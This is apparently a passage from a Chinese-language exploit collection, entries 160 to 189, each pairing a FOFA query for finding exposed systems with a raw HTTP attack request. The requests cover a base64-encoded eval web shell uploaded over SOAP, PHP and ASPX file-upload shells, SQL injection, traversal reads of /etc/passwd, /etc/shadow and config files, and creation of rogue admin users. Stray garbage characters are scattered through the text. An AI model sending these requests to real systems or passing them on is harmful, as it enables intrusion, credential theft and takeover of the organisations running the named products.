' ]. J9 [7 I1 F4 S<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
' [  E1 O, Q% C4 S- U: c<soap:Body>
<jobUpload xmlns="http://rainier">
<vcode>1</vcode>
; }: [) s4 ~: @( V4 y$ D$ t% j% `<subFolder></subFolder>
( y/ c( a& k5 {<fileName>abcrce.asmx</fileName>
<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
</jobUpload>
</soap:Body>
</soap:Envelope>

3 L' ~8 F0 ?. R6 B1 j4 a
/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")

8 G$ Z6 d7 k! E; }
160. Sonatype Nexus Repository 3目录遍历与文件读取
* b  }/ F5 c! C/ JCVE-2024-4956
FOFA：title="Nexus Repository Manager"
" u5 I* D6 h5 {6 P, E+ IGET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
3 K6 O4 B  t5 D; y/ k9 I. sHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
, \0 L, _& R4 H/ w- FConnection: close
5 Y; I! L; U, t* w, s" L( QAccept: */*
Accept-Language: en
$ f6 ]/ U" p& h0 Q9 v2 uAccept-Encoding: gzip


161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
FOFA：body="/KT_Css/qd_defaul.css"
' Z* j$ e# S- S6 I3 f第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
4 K/ Q9 p8 k$ [  F- m& F5 J9 n  ^2 gPOST /Webservice.asmx HTTP/1.1
% f# X: R5 `7 WHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
Content-Length: 445
) m+ W+ O1 |1 q9 m' v) t2 ZContent-Type: text/xml
8 E+ I; ]* s+ E) y. O/ VAccept-Encoding: gzip

6 W4 L* G( m7 Z<?xml version="1.0" encoding="utf-8"?>
& `, \- I) Y6 w* J$ f5 N: b6 u. N& ^3 _<soap:Envelope xmlns:xsi="
# P8 U4 H) b$ a* E! Whttp://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
! |1 ]/ o6 P9 e8 l# g<UploadResume xmlns="http://tempuri.org/">
<ip>1</ip>
: {7 e8 ~$ Q# g9 l& p<fileName>../../../../dizxdell.aspx</fileName>
<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
1 S$ H0 w: I  B<tag>3</tag>
</UploadResume>
; _! F; g2 [) I7 V( _) m8 J0 Z$ s</soap:Body>
</soap:Envelope>
# A+ g# k  Z' w% i

# x4 t& t/ j. N. m* l$ dhttp://x.x.x.x/dizxdell.aspx

162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
+ ~. v; f, \- N6 `& r6 j/ uFOFA: app="和丰山海-数字标牌"
0 p, ?6 g* H- e$ Z% Q( }" \" @POST /QH.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 583
! D) A2 r1 O% K& [5 t  fContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
* ?9 o. S0 u! A1 _Accept-Encoding: gzip
, j4 p( A8 B- t
------WebKitFormBoundaryeegvclmyurlotuey
8 @/ F* J* S& i: `. d" u5 V+ YContent-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
Content-Type: application/octet-stream
6 Z: L, v, k7 z& e' G) `
<% response.write("ujidwqfuuqjalgkvrpqy") %>
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="action"
! R5 @) j" @* ^- F; H6 R
0 k) n- ^- w. j: N( X; I, I5 T$ j7 wupload
------WebKitFormBoundaryeegvclmyurlotuey
" R- A" j: q5 kContent-Disposition: form-data; name="responderId"

1 Q9 q0 r" C9 o4 kResourceNewResponder
% f. b' S  s% `8 t- T4 E- n------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="remotePath"
6 R" `6 g  N$ a+ }2 s* R+ K% R: m
/opt/resources
/ Q1 z; j5 g* R------WebKitFormBoundaryeegvclmyurlotuey--
$ R  f% n- J$ t3 H# `, r
0 i; }/ U) t1 T, k
0 `/ e  C5 v) W7 mhttp://x.x.x.x/opt/resources/kjuhitjgk.aspx

1 o5 U% C8 v/ }163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
( Y9 I1 u3 |9 F8 lFOFA: icon_hash="-795291075"
POST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
! x7 H8 H  M: f7 o/ b% xHost: x.x.x.x
# K+ r/ ~+ w% c* H9 xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
Content-Length: 293
Accept: */*
Accept-Encoding: gzip, deflate
9 k4 Z8 @. x. n# t; GAccept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod

1 u- K: t8 l; ?" |------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="name"

: b. w" c3 |+ @  R  c! {1.php
3 z2 r9 Z0 o3 G------iiqvnofupvhdyrcoqyuujyetjvqgocod
2 @" P( [2 L$ t" \9 L6 M3 BContent-Disposition: form-data; name="upfile"; filename="1.php"
Content-Type: image/jpeg

rvjhvbhwwuooyiioxega
5 T' O+ X/ T2 Y/ t( \& z- X' h/ G, b------iiqvnofupvhdyrcoqyuujyetjvqgocod--
; _% n8 P5 L0 S+ Y- B
2 Q! x& p, ?# \8 z" ~4 m' g  R# v. Z
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
$ m' [3 P  S* D2 P* m: r; AFOFA: title="智慧综合管理平台登入"
POST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
$ k) ~) N2 V4 ~# K# a/ EContent-Length: 288
0 O3 [8 E1 b$ G& cAccept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
! ?( Q; s$ m% n$ d) eConnection: close
Content-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
& ?, W3 \  f; ]8 Y; u) yX-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

. p9 Q) {2 k0 z/ y------dqdaieopnozbkapjacdbdthlvtlyl
Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
Content-Type: image/jpeg

<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
------dqdaieopnozbkapjacdbdthlvtlyl--


6 m8 Z% ]2 q8 C5 N) Q1 {/ Whttp://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx

3 B# g. r, r; W9 r- u3 ]8 u# j3 C) g165. OrangeHRM 3.3.3 SQL 注入
" Q( v$ v" Q& ^% ECVE-2024-36428
FOFA: app="OrangeHRM-产品"
URL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))

) L; y9 }  V1 g. _7 ~, `+ ~7 ^
: e' S8 D. C) x0 ]. H* h4 K/ L% V/ X" h166. 中成科信票务管理平台SeatMapHandler SQL注入
3 t+ Y) Q- b: QFOFA：body="技术支持：北京中成科信科技发展有限公司"
# ^8 I. H( Y$ k- M2 b1 IPOST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
- j5 o. z3 K8 V8 x6 z; eHost:
4 i* _1 N, \8 _5 D# sPragma: no-cache
+ Y* |  h( w6 u& N  Q' aCache-Control: no-cache
3 X* c4 w) D. n( a1 R& ZUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
9 a% m9 Y5 X. g4 NAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
3 l5 Q0 j  @$ G5 O# S; y1 m$ ?1 ICookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 89

Method=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE
. y! R) w3 H& O$ {0 {+ p( A7 L

# D3 u' G1 d5 p: Z% G167. 精益价值管理系统 DownLoad.aspx任意文件读取
FOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
% ?' \, `$ t5 d5 P8 m/ Q- ?8 VGET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
  P, c* b3 y* s+ z# [Host:
9 K- l  }9 m8 h, M% @User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
0 ~( D! V; h% r+ o) dContent-Type: application/x-www-form-urlencoded
- A' F3 l  P. V2 ]# o9 U) yAccept-Encoding: gzip, deflate
6 {. @# `* M: }+ UAccept: */*
/ k* o% O8 |* x% fConnection: keep-alive
- y4 ?( m# G( R' u
+ i6 _7 ~( ^; v$ g
* k7 I  |* G. \' G6 k( _# L) T168. 宏景EHR OutputCode 任意文件读取
# q7 L& ]+ K0 |: j' |  b( {9 J4 M8 Z. b# n+ LFOFA：app="HJSOFT-HCM"
" \- O" j9 h4 OGET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
% L, o  |! `; D; I8 l# a- EHost: your-ip
* m, F9 E! m* U- s7 n4 p' XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Connection: close

" e. o4 p2 b# E3 `; x, C0 x
2 N/ y  D1 f. [& E- V' L
169. 宏景EHR downlawbase SQL注入
# V* Z5 i) }& ?8 P8 uFOFA：app="HJSOFT-HCM"
' ?8 e3 D8 a$ X; t9 @0 g8 \: {GET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
Host: your-ip
, M* w1 r* @7 h$ o" rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close


; y, ]3 y- R7 j" k/ P2 o- T
6 q) f7 i% i7 o/ Z/ k$ b9 ?5 y$ O170. 宏景EHR DisplayExcelCustomReport 任意文件读取
1 I' V+ V# U8 O$ e) TFOFA：body="/general/sys/hjaxmanage.js"
POST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
+ a. C. v* k  `, yHost: balalanengliang
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
! z# b7 z4 Q' q- D1 U4 r$ h: ~Content-Type: application/x-www-form-urlencoded
/ o: S. U! N. U! h% ^
filename=../webapps/ROOT/WEB-INF/web.xml

/ g4 e0 ]/ u$ f$ w
171. 通天星CMSV6车载定位监控平台 SQL注入
FOFA：body="/808gps/"
) I8 F1 Z/ g* Q1 r7 |0 qGET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
9 o% k; J; o0 U4 s/ SHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
0 X+ k) z5 I4 U8 Z5 F  T# }8 X1 GAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close



! f9 ?$ E- s2 j2 M172. DT-高清车牌识别摄像机任意文件读取
0 G" Q& l# J8 M. B/ rFOFA：app="DT-高清车牌识别摄像机"
GET /../../../../etc/passwd HTTP/1.1
+ M; q# J2 k3 zHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
5 s. U0 f( s' @% ]6 ?6 d# o) V7 VAccept-Encoding: gzip, deflate
Accept: */*
4 d  H2 V: {% a8 w* gConnection: keep-alive

- h" d. e- y- ~+ s6 I* @/ _
4 U) H+ _9 c: s1 ^% O
173. Check Point 安全网关任意文件读取
( J& ^7 G4 @9 o; o. F3 K6 ~- `CVE-2024-24919
FOFA：app="Check_Point-SSL-Network-Extender"
( l- t1 j' y3 a5 EPOST /clients/MyCRL HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded
1 x5 a, T+ h1 \0 P& V8 f: M$ @
aCSHELL/../../../../../../../etc/shadow

/ y* k% ?3 i, }; A1 h
2 x9 c0 }8 o9 k6 n. O* _, D) y6 V- w
+ h0 n" x9 I+ l174. 金和OA C6 FileDownLoad.aspx 任意文件读取
# W7 j; z! x$ Z9 z( [$ EFOFA：app="金和网络-金和OA"
$ b8 u# `! t  I6 @0 C( qGET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
, b0 f: N% c9 Z$ d1 e; t; O2 ]! v" YHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
3 o+ j: Z" N7 w. \Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
9 J( x% W/ t( j1 bAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
: Y" U8 g2 f1 C2 V, F2 H! H/ I

, _- J5 u" g( J3 }8 j
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
) N$ I' a  x& R& QFOFA：app="金和网络-金和OA"
GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
Host:
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
' z! v- C6 U  a. T, s( i3 wAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
8 @  K/ P, t4 m5 U, f9 cAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1


3 U! w) c3 j( q/ C% r8 `& Z176. 电信网关配置管理系统 rewrite.php 文件上传
FOFA：body="img/login_bg3.png" && body="系统登录"
" M0 R3 q& ]/ j- a' P" `+ S7 APOST /manager/teletext/material/rewrite.php HTTP/1.1
Host: your-ip
7 U, `4 o' m8 J* MUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
) H1 e* T3 @  c5 p* i6 r' DConnection: close
1 H* i) j) Z* N$ B! w
------WebKitFormBoundaryOKldnDPT
* I( t- G  k: XContent-Disposition: form-data; name="tmp_name"; filename="test.php"
; `& T- j9 W& G5 wContent-Type: image/png

: D' @0 C" u% B8 b2 h' b+ e<?php system("cat /etc/passwd");unlink(__FILE__);?>
$ u# a1 b2 e& V5 i. q+ U------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="uploadtime"

4 E. n* b/ G' U+ S6 y# c# ~) h8 l
% Z$ v1 ?  u# d------WebKitFormBoundaryOKldnDPT--

9 Z3 J1 T! l# R
' T9 W5 n3 I$ h  X
177. H3C路由器敏感信息泄露
5 }$ _& T! e) A1 g1 V% |/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
" N2 b. g4 m3 s/userLogin.asp/../actionpolicy_status/../M60.cfg
/userLogin.asp/../actionpolicy_status/../GR8300.cfg
/userLogin.asp/../actionpolicy_status/../GR5200.cfg
/userLogin.asp/../actionpolicy_status/../GR3200.cfg
/userLogin.asp/../actionpolicy_status/../GR2200.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
8 V5 F( F, b( M/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
3 B# q0 H" E# u" P/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
3 `2 p6 ?8 c1 G) e/userLogin.asp/../actionpolicy_status/../ER5200.cfg
/userLogin.asp/../actionpolicy_status/../ER5100.cfg
9 v$ @2 z9 [. j% `' V5 o. y/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3260.cfg
& B8 D8 f; S+ O) d2 d/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3200.cfg
/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
; `8 @! u9 j* E, I/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3100.cfg
/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg
4 P) j2 ]+ D$ ^3 h' Q5 v( b

% q6 l, t! i' t# ?178. H3C校园网自助服务系统-flexfileupload-任意文件上传
FOFA：header="/selfservice"
5 E# ^( W/ b0 i. \7 h. K6 w: R/ M0 x: gPOST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Length: 252
3 z. o' r2 c  O; s  r% h) P' Q7 U- {Accept-Encoding: gzip, deflate
$ S9 m1 i6 D+ s, lConnection: close
3 e$ ^$ A( `; y/ EContent-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
-----------------aqutkea7vvanpqy3rh2l
& X( ^" U9 ^, [7 M5 b) EContent-Disposition: form-data; name="12234.txt"; filename="12234"
Content-Type: application/octet-stream
& N% @  V9 e- @$ h! f4 d7 L! vContent-Length: 255
( Z8 d7 ?2 y# v/ D: z3 }) m- J
12234
2 Z9 C) T" F1 H$ ?6 n+ B-----------------aqutkea7vvanpqy3rh2l--

4 }+ J* j- ]) I; M- q( M6 ~& B
# B* [; C$ q* a) ]& q1 f0 rGET /imc/primepush/%2e%2e/flex/12234.txt
3 i  S& S9 A, X2 F; y" S5 M
. p" ~- ^" z* U: ]. Y
, P1 M6 N7 C# l6 o179. 建文工程管理系统存在任意文件读取
2 C4 D. G5 i. o) N: @1 HPOST /Common/DownLoad2.aspx HTTP/1.1
$ w" a+ b' ]" x! M* K: Y1 b5 zHost: {{Hostname}}
: z5 b; l. [( RContent-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0

0 Z2 j! D! B* p8 F( ?path=../log4net.config&Name=
8 }* z1 |0 ?3 O$ t
7 f- J1 q" f" e' I9 u+ }2 }( I0 g
/ q+ l& ?' p& r180. 帮管客 CRM jiliyu SQL注入
FOFA：app="帮管客-CRM"
GET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
9 H$ n; K' |7 N- Z/ ^Host: your-ip
" |: F; t! s1 V- u, T, jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
) K; j/ a8 q: f: {. LAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
* l" U* \3 m6 o5 \Accept-Encoding: gzip, deflate
$ v; Y6 e3 [' q2 cAccept-Language: zh-CN,zh;q=0.9
2 y  `. ]! f  bConnection: close
  D4 t( m- Z1 c& V% z, N3 c% J

+ X8 ?) G+ n. Y8 \( C9 R, r! Y" U181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
FOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
# U7 h/ G6 n( O6 R7 i5 XAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
% v) w( `7 N2 s, X$ w$ R& sAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded

2 E3 B9 z/ D9 L6 g3 Y- W
action=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20


3 B9 o( q5 |0 H6 Z: G4 M182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
FOFA："PDCA/js/_publicCom.js"
# s3 W5 T2 U/ a; [POST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
+ M' R* i) c  I0 w  PHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
8 ~) l% o. N) A1 Z! Z4 N  dAccept-Encoding: gzip, deflate, br
2 z, q$ Y& z2 f& Y8 _2 N5 `6 c# Y) i7 jAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded


username=test1234&pwd=test1234&savedays=1

3 b/ O2 e# ?4 E" F
8 k5 l* c6 a! A183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
" F* T  {2 M' [$ sFOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
  m/ G! ]2 v, z  b. FGET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
  g* o: a- n1 e4 kAccept-Charset: utf-8
' b2 o1 r+ T# z9 S5 f* Q% k/ TAccept-Encoding: gzip, deflate
Connection: close

% _6 ?! \) z2 l9 q
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
FOFA：server="SunFull-Webs"
/ m# g( K! P- k. [8 E; [; S2 L6 UPOST /soap/AddUser HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
9 @. r! Q4 {( |6 o: eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
4 ?% [& d. K, vAccept: application/xml, text/xml, */*; q=0.01
Content-Type: text/xml; charset=utf-8
( l' m" q4 K- rAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
% n& g9 A; {5 j! i( _6 wX-Requested-With: XMLHttpRequest


insert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')
1 c- \; E/ @' ^4 B" s

185. 瑞友天翼应用虚拟化系统SQL注入
version < 7.0.5.1
# z: \4 l9 z' _- T3 W: JFOFA：app="REALOR-天翼应用虚拟化系统"
' m0 y* Q8 U2 S2 nGET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
  e4 ^9 x1 H; H0 r* S6 b3 k% B5 wHost: host


0 o2 _: W$ U9 b: L  {) T$ D0 A/ R$ N186. F-logic DataCube3 SQL注入
  x% b5 @* l' tCVE-2024-31750
2 z$ B5 `8 e1 \( ?: @9 `7 \F-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
, e: D4 s. J: ]: hFOFA：title=="DataCube3"
POST /admin/pr_monitor/getting_index_data.php HTTP/1.1
7 k/ I& T; e. B. O1 d: X' xHost: your-ip
4 h( ?. R$ L' l, [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
' K. Y: z5 \. jAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
5 c. L8 y2 ~1 a8 U" X- f$ N7 hAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
% A  e( ~9 o3 e2 LAccept-Encoding: gzip, deflate
! t+ J! h  e+ F0 qConnection: close
6 d0 @% a2 Y: X% x3 q, t9 XContent-Type: application/x-www-form-urlencoded
8 W# j3 n5 N3 v7 k- A0 O
req_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450


. G5 B9 s! f6 \187. Mura CMS processAsyncObject SQL注入
CVE-2024-32640
FOFA："Mura CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
# |3 ]' a: M1 C, J* t7 `4 VHost: your-ip
Content-Type: application/x-www-form-urlencoded
7 V/ p9 S! D/ y6 E& r5 O

# [3 b9 p0 _2 f1 B6 nobject=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1

- x9 ]# C: S" f/ q2 l$ g" B
188. 叁体-佳会视频会议 attachment 任意文件读取
+ _+ }; D' E* d* s  i- Aversion <= 3.9.7
FOFA：body="/system/get_rtc_user_defined_info?site_id"
" [- G; v5 U1 K) nGET /attachment?file=/etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
9 H$ F' [; D/ n6 ]Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
2 ]- w1 g- h9 g6 ]2 o9 HAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
- j  G: `3 M% K
' q& c! |6 p2 x* c6 y4 g: }0 A
7 F& y/ E8 h8 `- H0 V+ g  c189. 蓝网科技临床浏览系统 deleteStudy SQL注入
